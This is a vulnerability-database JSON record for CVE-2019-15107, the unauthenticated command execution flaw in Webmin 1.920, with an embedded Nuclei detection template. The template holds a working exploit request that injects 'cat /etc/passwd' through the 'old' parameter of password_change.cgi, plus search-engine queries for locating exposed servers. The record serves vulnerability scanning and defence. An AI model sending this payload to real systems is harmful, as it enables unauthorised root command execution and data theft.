{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-15107/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-15107/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-15107/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-15107/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-15107/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-15107"},"sightings":{"href":"/api/v1/sightings/cve-2019-15107"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.99766,"kev":true,"percentile":0.99955},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-15107.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2019-15107\n\ninfo:\n  name: Webmin <= 1.920 - Unauthenticated Remote Command Execution\n  author: bp0lr\n  severity: critical\n  description: Webmin <=1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in password_change.cgi.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with root privileges.\n  remediation: |\n    Upgrade to Webmin version 1.930 or later to mitigate this vulnerability.\n  reference:\n    - https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-15107\n    - https://www.exploit-db.com/exploits/47230\n    - http://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html\n    - http://packetstormsecurity.com/files/154485/Webmin-1.920-Remote-Code-Execution.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-15107\n    cwe-id: CWE-78\n    epss-score: 0.99766\n    epss-percentile: 0.99955\n    cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: webmin\n    product: webmin\n    shodan-query: http.title:\"webmin\"\n    fofa-query: title=\"webmin\"\n    google-query: intitle:\"webmin\"\n  tags: cve,cve2019,packetstorm,webmin,rce,kev,edb,vkev,vuln\n\nhttp:\n  - raw:\n      #\n      - |\n        POST /password_change.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n        Referer: {{BaseURL}}\n        Content-Type: application/x-www-form-urlencoded\n\n        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n# digest: 4a0a00473045022100f8f131a146629c2e02bcdc057bec2b8277d4d11bda718ce4125fab14b84e632802205d0f7d1e6c214b02b5f498ef37f138765487f2815b3a56be44eae0cbb8481d63:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-15107"}